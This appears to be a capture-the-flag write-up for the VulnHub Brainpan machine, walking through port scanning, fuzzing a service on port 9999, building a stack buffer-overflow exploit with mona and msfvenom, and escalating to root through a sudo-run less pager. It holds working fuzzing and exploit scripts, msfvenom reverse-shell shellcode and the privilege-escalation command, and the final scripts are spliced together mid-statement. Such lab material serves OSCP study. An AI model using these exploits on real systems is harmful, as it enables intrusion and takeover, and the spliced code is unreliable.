This box is from VulnHub and is in the TJ NuLL list of boxes for OSCP preparation. I am not going into deep details in this write-through, but there is a deep dive through of buffer-overflow here. This box involved the following steps.
- Web Enumeration
- BufferOverflow Exploit for RCE
lesscommandsudoexploit for Privilege Escalation
As always I am going to start with the autorecon scan. The initial Nmap scan result is as below.
Nmap scan report for 10.0.0.20
Host is up, received arp-response (0.00050s latency).
Scanned at 2022-04-06 23:04:14 EDT for 40s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
9999/tcp open abyss? syn-ack ttl 64
| fingerprint-strings:
| NULL:
| _| _|
| _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
| _|_| _| _| _| _| _| _| _| _| _| _| _|
| _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
| [________________________ WELCOME TO BRAINPAN _________________________]
|_ ENTER THE PASSWORD
10000/tcp open http syn-ack ttl 64 SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.92%I=9%D=4/6%Time=624E54B4%P=x86_64-pc-linux-gnu%r(NUL
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Uptime guess: 198.048 days (since Mon Sep 20 21:56:06 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms 10.0.0.20.
# Nmap done at Wed Apr 6 23:04:54 2022 -- 1 IP address (1 host up) scanned in 41.09 seconds
The initial result demonstrates that we have 2 ports open. I am starting with the enumeration of web port 10000. Gobuster scan shows an interesting directory, /bin . I can see a brain.exe file there. Let’s download the file. As it is an exe file I am going to open a windows VM to test it.
Also, lets enumerate the port 9999.
Now in my windows VM, I run the exe file.
This setup looks like a buffer-overflow exploit. Let’s start by checking if the program is vulnerable to buffer-overflow. I send 3000 bytes of character “A” and the program crashed and the characters ended up in the EIP. So this program is definitely vulnerable to Buffer-Overflow.
python3 -c 'print("A"* 3000)'
Now I am going to fuzz the program to find the nearest bytes before the EIP. I am using the following python script.
#!/usr/bin/env python3
import socket, sys
from time import sleep
ip='10.0.0.18'
port=9999
Command=""
string = Command + 100*"A"
while True: #Runs continuously until crash
try:
with socket.socket() as s:
s.connect((ip,port))
print("sending {} bytes".format(len(string)))
s.send(bytes(string,'latin-1'))
reply = s.recv(4096) #see what the reply is
string += 100*"A"
sleep(0.8)
except:
print("fuzzing crashed at {} bytes".format(len(string)))
sys.exit(0)
The program crashes at 700 bytes. Now we need to find the exact offset, I am going to create a pattern using a Metasploit-module called pattern-create.rb.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 700
Now as the program crashed, I have copied the bytes in EIP and am using the Metasploit-module called pattern-offset.rb to find the offset for EIP.
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 700 -q 35724134
Now I found the exact match at 524. Let’s try to send another character after 524 bytes and see if it lands into EIP. I use the following script to check if "B" lands into EIP.
#!/usr/bin/python3
import sys, socket
offset = "A" * 524 + "B" * 4
ip = '10.0.0.18'
port = 9999
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
payload = offset
s.send((payload.encode()))
s.close()
except:
print ("Error connecting to the server")
sys.exit()
Now I can see EIP has 42424242 value in it. So 42 is the hex value of “B”.
Now in the immunity debugger, let’s set the default working folder for mona. We are going to need this for finding bad characters later. Type the following code into Immunity Debugger.
!mona config -set workingfolder c:\mona\%p
Now I am going to find the bad chars. \x00 is always a bad chars so let’s create a list of badchars without \x00 . Now I am going to create a byte-array of chars in mona so that we can compare it to the chars later and find the bad chars.
!mona bytearray -b "\x00"
I am using this python script to create a list of chars.
#!/usr/bin/env python3
from __future__ import print_function
bad = "00".split()
print("badchars = ")
for x in range(1, 256):
if "{:02x}".format(x) not in bad:
print("\\x" + "{:02x}".format(x), end='')
print("\n\nfor mona")
for byte in bad:
print("\\x{}".format(byte), end='')
print()
Now I am going to send the list of all characters to the target program and compare it with the list of chars from mona.
Mona lists \x00 only as a bad character.
Now lets find the JMP ESP.
!mona jmp -r esp -cpb "\x00"
There is only one pointer and it is as shown below. 311712f3
Now let’s create an exploit using msfvenom.
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.19 LPORT=4444 EXITFUNC=thread -b "\x00" -f Python
Now our final script looks like this.
import socket
ip = "10.0.0.18"
port = 9999
prefix = ""
offset = 524
overflow = "A" * offset
retn = "\xf3\x12\x17\x31"
padding = "\x90" * 16
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
e#!/usr/bin/python3
import sys, socket
overflow =(
b"\xda\xd9\xd9\x74\x24\xf4\x5d\xbb\x83\x49\xfa\x9b\x33"
b"\xc9\xb1\x52\x31\x5d\x17\x83\xc5\x04\x03\xde\x5a\x18"
b"\x6e\x1c\xb4\x5e\x91\xdc\x45\x3f\x1b\x39\x74\x7f\x7f"
b"\x4a\x27\x4f\x0b\x1e\xc4\x24\x59\x8a\x5f\x48\x76\xbd"
b"\xe8\xe7\xa0\xf0\xe9\x54\x90\x93\x69\xa7\xc5\x73\x53"
b"\x68\x18\x72\x94\x95\xd1\x26\x4d\xd1\x44\xd6\xfa\xaf"
b"\x54\x5d\xb0\x3e\xdd\x82\x01\x40\xcc\x15\x19\x1b\xce"
b"\x94\xce\x17\x47\x8e\x13\x1d\x11\x25\xe7\xe9\xa0\xef"
b"\x39\x11\x0e\xce\xf5\xe0\x4e\x17\x31\x1b\x25\x61\x41"
b"\xa6\x3e\xb6\x3b\x7c\xca\x2c\x9b\xf7\x6c\x88\x1d\xdb"
b"\xeb\x5b\x11\x90\x78\x03\x36\x27\xac\x38\x42\xac\x53"
b"\xee\xc2\xf6\x77\x2a\x8e\xad\x16\x6b\x6a\x03\x26\x6b"
b"\xd5\xfc\x82\xe0\xf8\xe9\xbe\xab\x94\xde\xf2\x53\x65"
b"\x49\x84\x20\x57\xd6\x3e\xae\xdb\x9f\x98\x29\x1b\x8a"
b"\x5d\xa5\xe2\x35\x9e\xec\x20\x61\xce\x86\x81\x0a\x85"
b"\x56\x2d\xdf\x0a\x06\x81\xb0\xea\xf6\x61\x61\x83\x1c"
b"\x6e\x5e\xb3\x1f\xa4\xf7\x5e\xda\x2f\xf2\x9e\xe4\xbc"
b"\x6a\x9d\xe4\xd3\x36\x28\x02\xb9\xd6\x7c\x9d\x56\x4e"
b"\x25\x55\xc6\x8f\xf3\x10\xc8\x04\xf0\xe5\x87\xec\x7d"
b"\xf5\x70\x1d\xc8\xa7\xd7\x22\xe6\xcf\xb4\xb1\x6d\x0f"
b"\xb2\xa9\x39\x58\x93\x1c\x30\x0c\x09\x06\xea\x32\xd0"
b"\xde\xd5\xf6\x0f\x23\xdb\xf7\xc2\x1f\xff\xe7\x1a\x9f"
b"\xbb\x53\xf3\xf6\x15\x0d\xb5\xa0\xd7\xe7\x6f\x1e\xbe"
b"\x6f\xe9\x6c\x01\xe9\xf6\xb8\xf7\x15\x46\x15\x4e\x2a"
b"\x67\xf1\x46\x53\x95\x61\xa8\x8e\x1d\x81\x4b\x1a\x68"
b"\x2a\xd2\xcf\xd1\x37\xe5\x3a\x15\x4e\x66\xce\xe6\xb5"
b"\x76\xbb\xe3\xf2\x30\x50\x9e\x6b\xd5\x56\x0d\x8b\xfc"
)
shellcode = b"A" * 524 + b"\xf3\x12\x17\x31" + b"\x90" * 16 + overflow
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('10.0.0.20',9999))
payload = shellcode
s.send((payload))
s.close()
except:
print ("Error connecting to the server")
sys.exit()
Now I set up a listener and run that script. I get the reverse shell. This is through my windows VM, now I am going to try this exploit on the victim machine and hope to get a reverse shell.
Yes, I got the reverse shell from the victim machine,
Now changing the shell to bin/sh.
Now I spun another reverse shell using a bash script to make a stable shell.
Now running sudo -l I can see puck user can run a command as root without password,
This command can do a few things.
We can run a manual of any command. Now it also uses less command to show the manuals. Now less has the vulnerability that when run as root if you use ! and type any command that command will run as root too. So here I will run.
`sudo /home/anansi/bin/anansi_util manual wget
Now I am going to type !/bin/bash which will run as root and provide us with a privileged shell.
Now I have root access.